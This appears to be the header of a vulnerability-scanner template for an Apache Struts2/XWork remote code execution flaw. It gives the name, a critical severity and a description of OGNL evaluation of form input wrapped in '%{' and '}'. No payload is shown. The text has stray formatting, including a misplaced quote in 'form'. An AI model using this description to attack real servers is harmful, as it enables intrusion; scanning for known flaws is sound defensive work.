name: OpenSymphony XWork/Apache Struts2 - Remote Code Execution

severity: critical

description: |
|
|
Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.
